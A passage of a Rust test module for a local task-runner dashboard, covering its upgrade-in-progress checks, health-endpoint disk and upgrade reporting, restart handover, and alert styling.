24632    fn busy_stages_match_the_ui_set() {
24633        use crate::updater::Stage;
24634        assert!(APP_JS.contains(
24635            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
24636        ));
24637        for s in [
24638            Stage::Downloading,
24639            Stage::Replaced,
24640            Stage::Parking,
24641            Stage::Restarting,
24642        ] {
24643            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
24644        }
24645        for s in [Stage::Done, Stage::Failed] {
24646            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
24647        }
24648        assert!(upgrade_in_motion(None).is_none());
24649    }
24650
24651    #[tokio::test]
24652    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
24653        use crate::updater::Stage;
24654        for stage in [
24655            Stage::Downloading,
24656            Stage::Replaced,
24657            Stage::Parking,
24658            Stage::Restarting,
24659        ] {
24660            let fx = Fixture::start().await;
24661            let seeded = seeded_progress(stage);
24662            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
24663            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
24664                .expect("read");
24665
24666            let res = fx.post("/api/upgrade", None).await;
24667            assert_eq!(res.status, 409, "{stage:?}");
24668            let err = res.json()["error"].as_str().unwrap().to_owned();
24669            assert!(err.contains("already in progress"), "{err}");
24670            assert!(err.contains(stage.as_str()), "{err}");
24671
24672            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
24673                .expect("read");
24674            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
24675            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
24676                .unwrap_or_default();
24677            assert!(!log.contains("signalling HANDOVER"), "{log}");
24678        }
24679    }
24680
24681    #[test]
24682    fn upgrade_retry_timing_only_parses_known_diagnostics() {
24683        assert_eq!(
24684            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
24685            Some(3723)
24686        );
24687        assert_eq!(
24688            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
24689            Some(60)
24690        );
24691        assert_eq!(
24692            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
24693            Some(0)
24694        );
24695        for message in [
24696            "permission denied",
24697            "GitHub API rate limit exceeded",
24698            "GitHub rate limit (resets in unknown)",
24699            "GitHub rate limit (resets in 18446744073709551615d)",
24700        ] {
24701            assert_eq!(upgrade_retry_after(message), None, "{message}");
24702        }
24703    }
24704
24705    #[tokio::test]
24706    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
24707        let home = TempDir::new().unwrap();
24708        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
24709        ui.start_loop(None).unwrap();
24710        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
24711        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
24712        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
24713        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
24714        let response = finish_upgrade_request(&ui, result);
24715        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
24716        assert_eq!(response.headers()["retry-after"], "120");
24717        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
24718            .await
24719            .unwrap();
24720        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
24721        assert!(body["error"].as_str().unwrap().contains(reason));
24722        assert_eq!(body["retry_after_secs"], 120);
24723        assert!(body["retry_at"].as_u64().is_some());
24724        for _ in 0..2 {
24725            let view = health(State(ui.clone())).await.unwrap().0;
24726            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
24727            assert_eq!(failure, body);
24728        }
24729        assert_eq!(
24730            std::fs::read(updater::progress_path(home.path())).unwrap(),
24731            before
24732        );
24733        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
24734        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
24735        // A conflicting request must not erase the actionable earlier failure.
24736        let gate = ui.upgrade_gate.lock().await;
24737        assert_eq!(
24738            upgrade_post(State(ui.clone())).await.status(),
24739            StatusCode::CONFLICT
24740        );
24741        drop(gate);
24742        assert!(
24743            health(State(ui.clone()))
24744                .await
24745                .unwrap()
24746                .0
24747                .upgrade_request_error
24748                .is_some()
24749        );
24750        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
24751        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
24752        assert!(
24753            health(State(ui.clone()))
24754                .await
24755                .unwrap()
24756                .0
24757                .upgrade_request_error
24758                .is_none()
24759        );
24760        let live = ui.lock_loop().live.take().unwrap();
24761        live.stop.stop();
24762        live.handle.await.unwrap();
24763    }
24764
24765    #[tokio::test]
24766    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
24767        use crate::updater::Stage;
24768        let repo = TempDir::new().expect("repo dir");
24769        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
24770            .expect("write magi.toml");
24771        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
24772        for stage in [Stage::Done, Stage::Failed] {
24773            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
24774            let res = fx.post("/api/upgrade", None).await;
24775            assert_eq!(res.status, 200, "{stage:?}");
24776        }
24777        // No record at all, and the gate was released by the earlier calls.
24778        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
24779        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
24780    }
24781
24782    #[tokio::test]
24783    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
24784        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
24785        // and the route answers from its own logic.
24786        //
24787        // This test used to lean on the fixture's placeholder repo failing
24788        // config discovery, which left `mode = "notify"` - and a live,
24789        // unauthenticated call to the GitHub releases API inside a unit test.
24790        // GitHub allows 60 of those an hour per address, so the suite went red
24791        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
24792        // long as somebody kept re-running it: every attempt spent another
24793        // request. Six reruns across four pull requests were charged to that
24794        // before it was read as a rate limit rather than a flake.
24795        //
24796        // What the assertion is about is the "already current" branch, which
24797        // is reached by there being no newer release *or* nowhere to look. The
24798        // second one needs no network and cannot be rate limited.
24799        let repo = TempDir::new().expect("repo dir");
24800        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
24801            .expect("write magi.toml");
24802        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
24803
24804        // It must answer 200 and leave the process alone: restarting for an
24805        // upgrade that did not happen parks the run in flight and drops every
24806        // connection to pay for nothing. A probe against a deck already on the
24807        // newest build did exactly that, which is how this case got its own
24808        // branch.
24809        let res = fx.post("/api/upgrade", None).await;
24810        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
24811        let body = res.json();
24812        assert!(body["to"].is_null(), "there was no release to move to");
24813        assert!(body["parked"].is_null(), "and nothing was parked");
24814        assert!(
24815            body["detail"]
24816                .as_str()
24817                .unwrap()
24818                .contains("nothing restarted"),
24819            "{body:?}"
24820        );
24821    }
24822
24823    async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
24824        tokio::time::timeout(Duration::from_secs(5), async {
24825            while state.lock().unwrap().in_flight {
24826                tokio::task::yield_now().await;
24827            }
24828        })
24829        .await
24830        .expect("capacity scan finished");
24831    }
24832
24833    fn disk_test_scope(home: &FsPath) -> DiskScope {
24834        DiskScope {
24835            runs: home.join("runs"),
24836            worktrees: home.join("worktrees"),
24837            cache: Some(home.join("cache")),
24838        }
24839    }
24840
24841    fn known_disk_capacity() -> DiskCapacity {
24842        DiskCapacity {
24843            free_bytes: Some(100),
24844            runs_bytes: Some(200),
24845            worktrees_bytes: Some(300),
24846            cache_bytes: Some(400),
24847        }
24848    }
24849
24850    #[tokio::test]
24851    async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
24852        let home = TempDir::new().unwrap();
24853        std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
24854        let mut ui = delta_test_ui(home.path());
24855        let state = Arc::get_mut(&mut ui).unwrap();
24856        state.repo = home.path().to_owned();
24857        state.worktrees_root = home.path().join("worktrees");
24858        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
24859        ui.monitor
24860            .worker_started
24861            .store(true, std::sync::atomic::Ordering::SeqCst);
24862        let cfg = deputy_config(&ui.repo);
24863        let scope = DiskScope::of(&ui, cfg.as_ref());
24864        let (started, reached) = tokio::sync::oneshot::channel();
24865        let (release, blocked) = std::sync::mpsc::channel();
24866        let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
24867            started.send(()).unwrap();
24868            // A failed request assertion must also let the blocking worker exit.
24869            let _ = blocked.recv();
24870            known_disk_capacity()
24871        });
24872        assert!(cold.runs_bytes.is_none());
24873        tokio::time::timeout(Duration::from_secs(5), reached)
24874            .await
24875            .unwrap()
24876            .unwrap();
24877
24878        let requests: Vec<_> = (0..4)
24879            .map(|_| {
24880                let ui = ui.clone();
24881                tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
24882            })
24883            .collect();
24884        // This is a causal independence check, not a five-second latency
24885        // benchmark. Leave room for unrelated filesystem/thread contention
24886        // when the entire unit suite runs concurrently.
24887        let completed = tokio::time::timeout(Duration::from_secs(60), async {
24888            for request in requests {
24889                let view = request.await.unwrap();
24890                let disk = serde_json::to_value(view.disk).unwrap();
24891                assert!(disk["runs_bytes"].is_null());
24892                assert!(disk["worktrees_bytes"].is_null());
24893                // Free space is a cheap live observation even while the
24894                // recursive capacity measurement remains blocked.
24895                assert!(disk["free_bytes"].is_u64());
24896            }
24897        })
24898        .await;
24899        if completed.is_err() {
24900            release.send(()).unwrap();
24901            wait_for_disk_scan(&ui.monitor.disk).await;
24902            panic!("health must return while the measurement is causally blocked");
24903        }
24904        assert!(ui.monitor.disk.lock().unwrap().in_flight);
24905        // No competing worker can have published while the first holds flight.
24906        assert!(
24907            ui.monitor
24908                .disk
24909                .lock()
24910                .unwrap()
24911                .capacity
24912                .runs_bytes
24913                .is_none()
24914        );
24915        release.send(()).unwrap();
24916        wait_for_disk_scan(&ui.monitor.disk).await;
24917        assert_eq!(
24918            ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
24919            Some(200)
24920        );
24921    }
24922
24923    #[tokio::test]
24924    async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
24925        let home = TempDir::new().unwrap();
24926        let scope = disk_test_scope(home.path());
24927        let state = Arc::new(Mutex::new(DiskObservation {
24928            scope: Some(scope.clone()),
24929            capacity: known_disk_capacity(),
24930            finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
24931            ..Default::default()
24932        }));
24933        let (started, reached) = tokio::sync::oneshot::channel();
24934        let (release, blocked) = std::sync::mpsc::channel();
24935        let before = DiskObservation::observe(&state, scope.clone(), move |_| {
24936            started.send(()).unwrap();
24937            blocked.recv().unwrap();
24938            DiskCapacity {
24939                runs_bytes: Some(250),
24940                ..Default::default()
24941            }
24942        });
24943        assert_eq!(before.cache_bytes, Some(400));
24944        tokio::time::timeout(Duration::from_secs(5), reached)
24945            .await
24946            .unwrap()
24947            .unwrap();
24948        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
24949        for _ in 0..4 {
24950            let scans = duplicate_scans.clone();
24951            let during = DiskObservation::observe(&state, scope.clone(), move |_| {
24952                scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
24953                DiskCapacity::default()
24954            });
24955            assert_eq!(during.runs_bytes, Some(200));
24956            assert_eq!(during.cache_bytes, Some(400));
24957        }
24958        release.send(()).unwrap();
24959        wait_for_disk_scan(&state).await;
24960        let scans = duplicate_scans.clone();
24961        let after = DiskObservation::observe(&state, scope, move |_| {
24962            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
24963            DiskCapacity::default()
24964        });
24965        wait_for_disk_scan(&state).await;
24966        assert_eq!(after.runs_bytes, Some(250));
24967        assert_eq!(after.free_bytes, Some(100));
24968        assert_eq!(after.cache_bytes, Some(400));
24969        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
24970        assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
24971    }
24972
24973    #[tokio::test]
24974    async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
24975        let home = TempDir::new().unwrap();
24976        let old_scope = disk_test_scope(home.path());
24977        let mut new_scope = old_scope.clone();
24978        new_scope.cache = Some(home.path().join("replacement-cache"));
24979        let state = Arc::new(Mutex::new(DiskObservation {
24980            scope: Some(old_scope.clone()),
24981            capacity: known_disk_capacity(),
24982            ..Default::default()
24983        }));
24984        let (started, reached) = tokio::sync::oneshot::channel();
24985        let (release, blocked) = std::sync::mpsc::channel();
24986        DiskObservation::observe(&state, old_scope, move |_| {
24987            started.send(()).unwrap();
24988            blocked.recv().unwrap();
24989            known_disk_capacity()
24990        });
24991        tokio::time::timeout(Duration::from_secs(5), reached)
24992            .await
24993            .unwrap()
24994            .unwrap();
24995        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
24996        let scans = duplicate_scans.clone();
24997        let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
24998            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
24999            DiskCapacity::default()
25000        });
25001        assert!(changed.cache_bytes.is_none());
25002        assert!(changed.runs_bytes.is_none());
25003        release.send(()).unwrap();
25004        wait_for_disk_scan(&state).await;
25005        {
25006            let observation = state.lock().unwrap();
25007            assert!(observation.capacity.cache_bytes.is_none());
25008            assert!(observation.finished.is_none());
25009        }
25010        DiskObservation::observe(&state, new_scope.clone(), move |scope| {
25011            assert_eq!(scope, &new_scope);
25012            DiskCapacity {
25013                cache_bytes: Some(999),
25014                ..Default::default()
25015            }
25016        });
25017        wait_for_disk_scan(&state).await;
25018        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
25019        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
25020    }
25021
25022    #[tokio::test]
25023    async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
25024        let home = TempDir::new().unwrap();
25025        let scope = disk_test_scope(home.path());
25026        let state = Arc::new(Mutex::new(DiskObservation {
25027            scope: Some(scope.clone()),
25028            capacity: known_disk_capacity(),
25029            ..Default::default()
25030        }));
25031        DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
25032        wait_for_disk_scan(&state).await;
25033        {
25034            let mut observation = state.lock().unwrap();
25035            assert_eq!(observation.capacity.cache_bytes, Some(400));
25036            assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
25037            observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
25038        }
25039        DiskObservation::observe(&state, scope, |_| DiskCapacity {
25040            cache_bytes: Some(450),
25041            ..Default::default()
25042        });
25043        wait_for_disk_scan(&state).await;
25044        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
25045    }
25046
25047    #[test]
25048    fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
25049        let home = TempDir::new().unwrap();
25050        assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
25051        assert_eq!(disk_capacity_size(home.path()), Some(0));
25052        std::fs::create_dir(home.path().join("nested")).unwrap();
25053        std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
25054        assert_eq!(disk_capacity_size(home.path()), Some(5));
25055        #[cfg(unix)]
25056        {
25057            // Unix distinguishes an invalid descendant lookup from absence.
25058            assert_eq!(
25059                disk_capacity_size(&home.path().join("nested/data/child")),
25060                None
25061            );
25062        }
25063        #[cfg(unix)]
25064        {
25065            std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
25066            assert_eq!(disk_capacity_size(home.path()), Some(5));
25067        }
25068    }
25069
25070    #[tokio::test]
25071    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
25072        // `mode = "off"` for the same reason as the test above: a default
25073        // fixture repo falls back to `mode = "notify"`, which would make this
25074        // route's new `update` field a live, unauthenticated GitHub call on
25075        // every assertion in this suite that happens to hit `/api/health`.
25076        let repo = TempDir::new().expect("repo dir");
25077        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
25078            .expect("write magi.toml");
25079        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
25080
25081        let health = fx.get("/api/health").await.json();
25082        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
25083        assert_eq!(
25084            health["update"]["available"], false,
25085            "checking is off, which reads as \"unknown\", not \"none\""
25086        );
25087        assert!(health["update"]["to"].is_null());
25088        assert!(
25089            health["upgrade"].is_null(),
25090            "nothing has ever asked this deck to upgrade"
25091        );
25092    }
25093
25094    #[tokio::test]
25095    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
25096        let fx = Fixture::start().await;
25097        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
25098
25099        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25100        progress.parked_run = Some("20260905-000000-cd51".to_owned());
25101        progress.advance(crate::updater::Stage::Parking);
25102        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25103
25104        let health = fx.get("/api/health").await.json();
25105        assert_eq!(health["upgrade"]["stage"], "parking");
25106        assert_eq!(health["upgrade"]["from"], "0.5.1");
25107        assert_eq!(health["upgrade"]["to"], "0.5.2");
25108        let waiting_on = health["upgrade"]["waiting_on"]
25109            .as_str()
25110            .expect("waiting_on is set while parking a known run");
25111        assert!(waiting_on.contains("cd51"), "{waiting_on}");
25112        assert!(waiting_on.contains("implementing"), "{waiting_on}");
25113    }
25114
25115    #[tokio::test]
25116    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
25117        let fx = Fixture::start().await;
25118        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25119        progress.advance(crate::updater::Stage::Done);
25120        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25121
25122        let health = fx.get("/api/health").await.json();
25123        assert_eq!(health["upgrade"]["stage"], "done");
25124        assert!(
25125            health["upgrade"]["waiting_on"].is_null(),
25126            "nothing to wait on once it is done"
25127        );
25128    }
25129
25130    /// The handover signal is seen however the race falls, and wakes its one
25131    /// waiter once per signal - nothing here can spin.
25132    #[tokio::test]
25133    async fn the_handover_signal_wakes_one_waiter_once() {
25134        let signal = Notify::new();
25135        // Signalled before anyone waits: the stored permit is not lost.
25136        signal.notify_one();
25137        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
25138            .await
25139            .expect("an early signal is still seen");
25140        // One signal, one wake-up: a second wait does not resolve by itself.
25141        assert!(
25142            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
25143                .await
25144                .is_err(),
25145            "a consumed signal must not wake a second time"
25146        );
25147        // Signalled while waiting.
25148        let signal = std::sync::Arc::new(signal);
25149        let waiter = tokio::spawn({
25150            let signal = std::sync::Arc::clone(&signal);
25151            async move { wait_for_handover(&signal).await }
25152        });
25153        tokio::time::sleep(Duration::from_millis(20)).await;
25154        assert!(!waiter.is_finished(), "nothing was signalled yet");
25155        signal.notify_one();
25156        tokio::time::timeout(Duration::from_secs(5), waiter)
25157            .await
25158            .expect("a late signal wakes the waiter")
25159            .expect("join");
25160    }
25161
25162    #[tokio::test]
25163    async fn health_says_how_long_a_handover_has_been_stuck() {
25164        let fx = Fixture::start().await;
25165        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25166        progress.advance(crate::updater::Stage::Replaced);
25167        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
25168        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25169
25170        let health = fx.get("/api/health").await.json();
25171        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
25172        assert!(stuck >= 600, "{stuck}");
25173        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
25174        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
25175    }
25176
25177    #[tokio::test]
25178    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
25179        let home = tempfile::tempdir().expect("temp home");
25180        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25181        progress.advance(crate::updater::Stage::Parking);
25182        crate::updater::write_progress(home.path(), &progress).expect("seed");
25183        // What the second upgrade_and_restart and its handler do.
25184        let mut again = progress.clone();
25185        again.advance(crate::updater::Stage::Replaced);
25186        crate::updater::write_progress(home.path(), &again).expect("replaced");
25187        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25188        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
25189        let after = crate::updater::read_progress(home.path()).expect("record");
25190        assert_eq!(after.stage, crate::updater::Stage::Parking);
25191    }
25192
25193    #[tokio::test]
25194    async fn health_does_not_call_a_live_parking_wait_stuck() {
25195        let fx = Fixture::start().await;
25196        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25197        progress.parked_run = Some("20260905-000000-cd51".to_owned());
25198        progress.advance(crate::updater::Stage::Parking);
25199        let hours = Duration::from_secs(3 * 3600);
25200        progress.started_at = Timestamp::now() - hours;
25201        progress.updated_at = Timestamp::now() - hours;
25202        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25203        let _lease = crate::updater::LeaseGuard::enter(
25204            fx.home.path(),
25205            Some("20260905-000000-cd51".to_owned()),
25206        );
25207
25208        let health = fx.get("/api/health").await.json();
25209        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
25210        assert!(health["upgrade"]["stuck_kind"].is_null());
25211        assert_eq!(health["upgrade"]["handover_alive"], true);
25212        let waiting_on = health["upgrade"]["waiting_on"]
25213            .as_str()
25214            .expect("waiting_on");
25215        assert!(waiting_on.contains("cd51"), "{waiting_on}");
25216    }
25217
25218    fn idle_ui(home: &TempDir) -> Ui {
25219        let runs = home.path().join("runs");
25220        std::fs::create_dir_all(&runs).expect("runs dir");
25221        Ui::new(
25222            Queue::at(home.path().join("queue")),
25223            Questions::at(home.path().join("questions")),
25224            Talks::at(home.path().join("talks")),
25225            runs,
25226            home.path().to_path_buf(),
25227            PathBuf::from("/repo/magi"),
25228        )
25229        .with_launch(launch_idle)
25230    }
25231
25232    #[tokio::test]
25233    async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
25234        let home = TempDir::new().expect("temp home");
25235        let ui = idle_ui(&home);
25236        let lease = crate::worker::try_lease(home.path(), "scheduler")
25237            .expect("scheduler lease")
25238            .expect("free");
25239        crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
25240            .expect("request stop");
25241        let error = ui
25242            .start_detached_loop()
25243            .await
25244            .expect_err("transition is still live");
25245        assert_eq!(error.status, StatusCode::CONFLICT);
25246        assert!(error.message.contains("still running or stopping"));
25247        assert_eq!(
25248            crate::worker::control(home.path(), "scheduler").unwrap(),
25249            Some(crate::worker::Control::Stop)
25250        );
25251        drop(lease);
25252    }
25253
25254    #[tokio::test]
25255    async fn handover_releases_listener_without_waiting_for_execution_leases() {
25256        let home = TempDir::new().expect("temp home");
25257        let ui = idle_ui(&home);
25258        let turns = ui
25259            .begin_talk_turn("active-chat")
25260            .expect("claim")
25261            .expect("free");
25262        let execution = crate::worker::try_lease(home.path(), "active-task")
25263            .expect("execution lease")
25264            .expect("free");
25265        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
25266            .await
25267            .expect("bind loopback");
25268        let address = listener.local_addr().expect("address");
25269        let admissions = Arc::clone(&ui.admissions);
25270        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
25271        let successor_started = std::sync::atomic::AtomicBool::new(false);
25272        tokio::time::timeout(
25273            Duration::from_secs(2),
25274            hand_over(home.path(), &admissions, served, || {
25275                successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
25276                Ok(1)
25277            }),
25278        )
25279        .await
25280        .expect("restart must not wait for execution")
25281        .expect("handover");
25282        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
25283        // BSD may retain the address briefly after listener release. The real
25284        // successor uses the same bounded bind retry rather than a one-shot bind.
25285        let successor = bind_waiting(address)
25286            .await
25287            .expect("successor binds released address");
25288        assert_eq!(successor.local_addr().unwrap(), address);
25289        assert!(turns.owns(), "the chat lease survives restart");
25290        assert!(
25291            crate::worker::try_lease(home.path(), "active-task")
25292                .unwrap()
25293                .is_none()
25294        );
25295        drop(execution);
25296        drop(turns);
25297    }
25298
25299    #[tokio::test]
25300    async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
25301        let home = TempDir::new().expect("temp home");
25302        let ui = idle_ui(&home);
25303        let admission = ui.begin_admission().expect("admit send");
25304        let turn = ui
25305            .begin_talk_turn("active-chat")
25306            .expect("claim")
25307            .expect("free");
25308        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
25309            .await
25310            .expect("bind loopback");
25311        let address = listener.local_addr().expect("address");
25312        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
25313        let successor_called = std::sync::atomic::AtomicBool::new(false);
25314        let handover = hand_over(home.path(), &ui.admissions, served, || {
25315            successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
25316            Ok(1)
25317        });
25318        tokio::pin!(handover);
25319        // Poll exactly to the writer waiting on our admission guard. This
25320        // pins the race without sleeps or assumptions about task scheduling.
25321        std::future::poll_fn(|cx| {
25322            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
25323            std::task::Poll::Ready(())
25324        })
25325        .await;
25326        assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
25327        assert!(
25328            ui.begin_admission().is_err(),
25329            "new ingress cannot race the drain"
25330        );
25331        assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
25332        drop(admission);
25333        tokio::time::timeout(Duration::from_secs(2), handover)
25334            .await
25335            .expect("only publication may delay restart")
25336            .expect("handover");
25337        assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
25338        assert!(
25339            turn.owns(),
25340            "the detached chat turn is not awaited or cancelled"
25341        );
25342        assert!(
25343            ui.begin_admission().is_err(),
25344            "old accepted connections stay closed"
25345        );
25346        drop(turn);
25347    }
25348
25349    #[test]
25350    fn health_worker_metadata_never_contains_payload_or_result() {
25351        let view = WorkerView::from(crate::worker::Job {
25352            id: "job".into(),
25353            sequence: 1,
25354            kind: "service".into(),
25355            key: "maintenance".into(),
25356            payload: serde_json::json!({"env": {"TOKEN": "private"}}),
25357            generation: "generation".into(),
25358            version: Some("1.2.3".into()),
25359            status: crate::worker::Status::Running,
25360            result: Some("private diagnostics".into()),
25361            pid: Some(4242),
25362            created_at: 1,
25363            finished_at: None,
25364        });
25365        let value = serde_json::to_value(view).expect("serialize public metadata");
25366        assert_eq!(value["version"], "1.2.3");
25367        assert_eq!(value["pid"], 4242);
25368        assert!(value.get("payload").is_none());
25369        assert!(value.get("result").is_none());
25370        assert!(!value.to_string().contains("private"));
25371    }
25372
25373    #[test]
25374    fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
25375        let home = TempDir::new().expect("temp home");
25376        let ui = idle_ui(&home);
25377        std::fs::write(
25378            home.path().join("daemon.json"),
25379            serde_json::json!({
25380                "schema": 2, "pid": 4242, "worker_protocol": 1,
25381                "updated_at": Timestamp::now().to_string(), "idle": true,
25382            })
25383            .to_string(),
25384        )
25385        .expect("status");
25386        let reading = daemon::read_status(home.path());
25387        assert!(Foreign::of(reading.as_ref()).is_none());
25388        let view = ui.runtime_loop_view(reading, &[]);
25389        assert!(view.running);
25390        assert!(view.owned);
25391    }
25392
25393    #[test]
25394    fn only_an_explicit_one_requests_a_resume() {
25395        assert!(!resume_requested(None));
25396        assert!(!resume_requested(Some("0".into())));
25397        assert!(!resume_requested(Some("".into())));
25398        assert!(resume_requested(Some("1".into())));
25399    }
25400
25401    #[test]
25402    fn an_error_is_visible_from_where_the_button_is() {
25403        // The alert used to sit in the flow under the header. On a phone
25404        // scrolled 13 500 px down to a run's action sheet that is off screen,
25405        // so tapping Resume and being told "the loop is running run b455
25406        // right now" looked exactly like a button that did nothing.
25407        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
25408            ..APP_CSS.find(".alert-text").expect(".alert-text")];
25409        assert!(
25410            alert.contains("position: fixed"),
25411            "an error about the thing under your thumb has to be visible from \
25412             where your thumb is: {alert}"
25413        );
25414        assert!(
25415            alert.contains("z-index: 25"),
25416            "above the dock (20) and the run-actions FAB (15), so neither \
25417             buries it: {alert}"
25418        );
25419        assert!(
25420            alert.contains("var(--tap)"),
25421            "and clear of the dock and the home indicator: {alert}"
25422        );
25423        // The FAB sits at the same height on the right. An error that covered
25424        // it would hide the button the operator reaches for next.
25425        assert!(
25426            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
25427            "the FAB's column stays free: {alert}"
25428        );
25429    }
25430
25431    #[tokio::test]
25432    async fn an_older_attempt_says_what_replaced_it() {
25433        let fx = Fixture::start().await;
25434        let q = fx.queue();
25435        let runs = fx.runs();
25436        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
25437        write_run(&runs, first, RunStatus::Stalled);
25438        write_run(&runs, second, RunStatus::Blocked);
25439
25440        let mut t = Task::new(
25441            "one task".to_owned(),
25442            "do it".to_owned(),
25443            PathBuf::from("/repo"),
25444            Source::Human,
25445        );
25446        t.runs = vec![first.to_owned(), second.to_owned()];
